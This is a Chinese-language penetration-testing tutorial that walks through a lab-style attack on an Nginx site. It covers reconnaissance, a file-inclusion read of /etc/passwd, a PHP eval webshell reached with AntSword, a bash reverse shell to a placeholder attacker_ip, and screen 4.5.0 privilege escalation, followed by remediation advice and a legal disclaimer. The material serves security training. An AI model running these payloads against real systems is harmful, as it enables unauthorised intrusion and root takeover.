web漏洞挖掘利用
字数 1468 2025-08-12 11:33:56
Web漏洞挖掘利用实战教学文档
1. 信息收集阶段
1.1 目标识别
- 域名解析:使用
nslookup 域名命令获取目标IP地址 - 端口扫描:使用Nmap扫描目标IP,发现开放端口及系统信息
- 示例发现:Nginx系统,版本1.6.2
1.2 网站功能分析
- 发现留言板功能(用户输入输出点,高概率存在漏洞)
- 页面结构分析:发现页尾变化可疑
1.3 路径探测
- 使用御剑等工具进行URL路径探测
- 发现
footer.php文件 - 发现
thankyou.php与footer.php可能存在文件包含关系
- 发现
2. 威胁建模
- 风险评估:
- 业务连续性风险
- 数据安全风险
- 系统完整性风险
- 攻击面分析:
- Nginx版本漏洞(CVE-2016-1247)
- 输入点XSS可能性
- 文件包含/上传漏洞
3. 漏洞探测
3.1 版本漏洞验证
- 搜索Nginx 1.6.2版本漏洞(CVE-2016-1247)
- 验证失败(未找到有效利用方式)
3.2 XSS测试
- 输入测试payload:
<script>alert(1)</script> - 结果:被过滤转义,未触发弹窗
- 发现页尾内容变化,可能存在其他漏洞
3.3 文件包含漏洞探测
- 直接访问
footer.php发现内容动态变化 - 尝试读取系统文件:
/etc/passwd- 成功读取,确认存在文件包含- MySQL密码文件 - 访问受限
- Nginx错误日志:
/var/log/nginx/error.log
4. 漏洞利用
4.1 文件包含利用
- 尝试一句话木马:
<?php @eval($_POST['cmd']);?>- 初始尝试失败(被转义)
- 使用BurpSuite抓包重放:
- 绝对路径上传失败
- 相对路径上传成功
4.2 蚁剑连接
- 使用中国蚁剑连接成功
- 获取普通用户权限shell
5. 内网渗透与提权
5.1 反弹Shell
- 从蚁剑建立反弹shell到Kali Linux
- 使用命令获取交互式shell
5.2 权限提升
-
查找提权机会:
- 查找具有SUID权限的文件
- 发现screen 4.5.0存在提权漏洞
-
利用步骤:
- 使用
searchsploit查找screen 4.5.0漏洞 - 找到提权脚本41154.sh
- 分解脚本为三部分:
libhax.c- 编译为动态库rootshell.c- 编译为二进制文件root.sh- 提权主脚本
- 使用
-
执行提权:
- 上传文件到
/tmp目录 - 执行
root.sh获取root权限
- 上传文件到
6. 渗透报告要点
6.1 报告内容结构
- 概述:测试目标、范围和时间
- 团队优势:技术能力和经验
- 使用工具:Nmap、BurpSuite、蚁剑等
- 渗透过程:详细步骤和方法
- 漏洞发现:按风险等级分类
- 整改建议:针对每个漏洞的修复方案
- 安全加固:整体安全提升建议
6.2 漏洞修复建议
- Nginx升级:修复已知版本漏洞
- 输入过滤:加强用户输入验证
- 文件包含防护:禁用危险函数,如
include、require - 权限控制:遵循最小权限原则
- 日志监控:加强异常行为监测
附录:常用命令参考
信息收集
nslookup example.com
nmap -sV target_ip
文件包含测试
curl http://target/footer.php?file=/etc/passwd
反弹Shell
# 攻击机监听
nc -lvnp 4444
# 目标机连接
bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
提权准备
# 编译动态库
gcc -shared -fPIC -ldl -o libhax.so libhax.c
# 编译二进制
gcc rootshell.c -o rootshell
# 转换脚本格式
vim root.sh
:set ff=unix
:wq
法律与道德声明
- 所有渗透测试必须获得书面授权
- 遵守《中华人民共和国网络安全法》
- 禁止未经授权的测试行为
- 测试数据需严格保密
- 发现漏洞应及时报告相关方
本教学文档基于实战案例编写,仅供合法授权的安全测试和学习参考。实际环境中需根据具体情况调整测试方法,并始终遵循法律法规和职业道德准则。